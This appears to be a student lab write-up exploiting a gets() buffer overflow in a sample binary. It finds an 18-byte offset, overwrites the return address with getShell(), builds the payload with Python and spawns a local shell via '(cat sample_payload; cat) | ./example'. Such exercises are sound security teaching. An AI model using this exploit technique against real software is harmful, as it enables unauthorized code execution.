This programs vulnerability is the use of the function gets(). Since gets() lets us supply as many characters as we want as input, we can overflow any buffer it stores our input to, in this case vuln_buf.

I notice that entering in 17 characters (+1 because of the newline) causes the program to seg fault. This means that the return address is 18 bytes away from vuln_buff when our input is stored.

We can exploit this by replacing the return address with the address of the getShell() function to spawn a shell. Our payload would look like this:

18 bytes of junk + address of getShell()

Using objectdump, I can see that getShell() is located at 0x0000000000401132. Because x86-64 is little endian, i need to reverse the order of the bytes of the address in my payload.

I'm going to write my payload to a file using python3:

```
┌──(cs395㉿kali)-[~/Desktop/CS395/sample]
└─$ python3
Python 3.9.1 (default, Dec  8 2020, 07:51:42)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> f = open("sample_payload","w")
>>> f.write("A"*18 + "\x32\x11\x40\x00\x00\x00\x00\x00")
26
>>>
```

Running the program with: "cat sample_payload | ./example" doesn't work! But looking in GDB, i can tell getShell() is getting called...

I now see that stdin control is given away when we use the pipe (|), so we have to use a trick to keep stdin open to us:

(cat sample_payload; cat) | ./example

running the binary like this, I get a shell!

```
┌──(cs395㉿kali)-[~/Desktop/CS395/sample]
└─$ (cat sample_payload; cat) | ./example
ls
ls
example  example.c  sample_payload  sample_writeup.txt
whoami
cs395
```